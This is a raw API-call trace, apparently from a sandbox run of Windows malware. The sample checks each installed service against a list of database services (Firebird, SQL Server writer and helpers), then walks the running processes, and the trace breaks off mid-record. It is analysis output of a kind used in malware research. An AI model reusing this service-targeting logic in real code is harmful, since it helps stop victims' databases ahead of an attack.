1 [0100.337] lstrlenW (lpString="DoSvc") returned 5 [0100.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0100.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0100.337] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0100.337] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0100.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0100.337] lstrlenW (lpString="DPS") returned 3 [0100.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0100.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0100.337] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0100.337] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0100.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0100.337] lstrlenW (lpString="DusmSvc") returned 7 [0100.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0100.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0100.337] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0100.337] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0100.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0100.338] lstrlenW (lpString="EventLog") returned 8 [0100.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0100.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0100.338] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0100.338] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0100.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0100.338] lstrlenW (lpString="EventSystem") returned 11 [0100.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0100.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0100.338] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0100.338] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0100.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0100.338] lstrlenW (lpString="FontCache") returned 9 [0100.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0100.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0100.338] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0100.338] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0100.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0100.338] lstrlenW (lpString="gpsvc") returned 5 [0100.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0100.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0100.339] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0100.339] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0100.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0100.339] lstrlenW (lpString="iphlpsvc") returned 8 [0100.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0100.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0100.339] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0100.339] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0100.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0100.339] lstrlenW (lpString="KeyIso") returned 6 [0100.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0100.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0100.339] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0100.339] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0100.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0100.339] lstrlenW (lpString="LanmanServer") returned 12 [0100.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0100.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0100.339] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0100.339] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0100.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0100.339] lstrlenW (lpString="LanmanWorkstation") returned 17 [0100.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0100.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0100.339] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0100.339] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0100.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0100.394] lstrlenW (lpString="lfsvc") returned 5 [0100.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0100.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0100.394] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0100.394] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0100.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0100.394] lstrlenW (lpString="lmhosts") returned 7 [0100.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0100.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0100.394] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0100.394] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0100.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0100.395] lstrlenW (lpString="LSM") returned 3 [0100.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0100.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0100.395] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0100.395] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0100.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0100.395] lstrlenW (lpString="MpsSvc") returned 6 [0100.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0100.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0100.395] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0100.395] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0100.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0100.395] lstrlenW (lpString="NcbService") returned 10 [0100.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0100.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0100.395] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0100.395] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0100.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0100.395] lstrlenW (lpString="netprofm") returned 8 [0100.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0100.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0100.395] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0100.395] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0100.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0100.395] lstrlenW (lpString="NlaSvc") returned 6 [0100.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0100.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0100.395] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0100.395] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0100.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0100.395] lstrlenW (lpString="nsi") returned 3 [0100.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0100.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0100.396] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0100.396] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0100.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0100.396] lstrlenW (lpString="PcaSvc") returned 6 [0100.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0100.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0100.396] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0100.396] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0100.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0100.396] lstrlenW (lpString="PlugPlay") returned 8 [0100.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0100.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0100.396] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0100.396] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0100.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0100.396] lstrlenW (lpString="Power") returned 5 [0100.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0100.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0100.396] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0100.396] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0100.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0100.396] lstrlenW (lpString="ProfSvc") returned 7 [0100.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0100.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0100.396] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0100.396] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0100.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0100.396] lstrlenW (lpString="RpcEptMapper") returned 12 [0100.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0100.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0100.397] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0100.397] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0100.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0100.397] lstrlenW (lpString="RpcSs") returned 5 [0100.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0100.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0100.397] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0100.397] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0100.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0100.397] lstrlenW (lpString="SamSs") returned 5 [0100.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0100.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0100.397] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0100.397] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0100.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0100.397] lstrlenW (lpString="Schedule") returned 8 [0100.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0100.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0100.397] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0100.397] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0100.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0100.397] lstrlenW (lpString="SecurityHealthService") returned 21 [0100.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0100.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0100.397] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0100.397] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0100.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0100.397] lstrlenW (lpString="SENS") returned 4 [0100.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0100.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0100.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0100.398] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0100.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0100.398] lstrlenW (lpString="ShellHWDetection") returned 16 [0100.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0100.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0100.398] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0100.398] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0100.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0100.398] lstrlenW (lpString="Spooler") returned 7 [0100.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0100.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0100.398] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0100.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0100.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0100.398] lstrlenW (lpString="sppsvc") returned 6 [0100.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0100.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0100.398] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0100.398] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0100.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0100.398] lstrlenW (lpString="SSDPSRV") returned 7 [0100.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0100.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0100.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0100.398] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0100.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0100.398] lstrlenW (lpString="StateRepository") returned 15 [0100.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0100.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0100.398] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0100.399] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0100.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0100.399] lstrlenW (lpString="SysMain") returned 7 [0100.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0100.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0100.399] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0100.399] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0100.399] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x36890e8 | out: hHeap=0x440000) returned 1 [0100.399] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0100.404] Process32FirstW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0100.405] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0100.405] lstrlenW (lpString="System") returned 6 [0100.405] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0100.406] lstrlenW (lpString="smss.exe") returned 8 [0100.406] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0100.406] lstrlenW (lpString="csrss.exe") returned 9 [0100.406] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0100.407] lstrlenW (lpString="wininit.exe") returned 11 [0100.407] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0100.407] lstrlenW (lpString="csrss.exe") returned 9 [0100.407] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0100.408] lstrlenW (lpString="winlogon.exe") returned 12 [0100.408] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0100.408] lstrlenW (lpString="services.exe") returned 12 [0100.408] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0100.409] lstrlenW (lpString="lsass.exe") returned 9 [0100.409] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.409] lstrlenW (lpString="svchost.exe") returned 11 [0100.410] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0100.410] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0100.410] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0100.411] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0100.411] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.411] lstrlenW (lpString="svchost.exe") returned 11 [0100.411] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0100.412] lstrlenW (lpString="dwm.exe") returned 7 [0100.412] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.412] lstrlenW (lpString="svchost.exe") returned 11 [0100.412] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.413] lstrlenW (lpString="svchost.exe") returned 11 [0100.413] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.413] lstrlenW (lpString="svchost.exe") returned 11 [0100.413] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.414] lstrlenW (lpString="svchost.exe") returned 11 [0100.414] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.414] lstrlenW (lpString="svchost.exe") returned 11 [0100.414] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.415] lstrlenW (lpString="svchost.exe") returned 11 [0100.415] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.415] lstrlenW (lpString="svchost.exe") returned 11 [0100.415] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.416] lstrlenW (lpString="svchost.exe") returned 11 [0100.416] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.416] lstrlenW (lpString="svchost.exe") returned 11 [0100.417] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0100.417] lstrlenW (lpString="spoolsv.exe") returned 11 [0100.417] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.418] lstrlenW (lpString="svchost.exe") returned 11 [0100.418] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.418] lstrlenW (lpString="svchost.exe") returned 11 [0100.419] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0100.419] lstrlenW (lpString="audiodg.exe") returned 11 [0100.419] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, 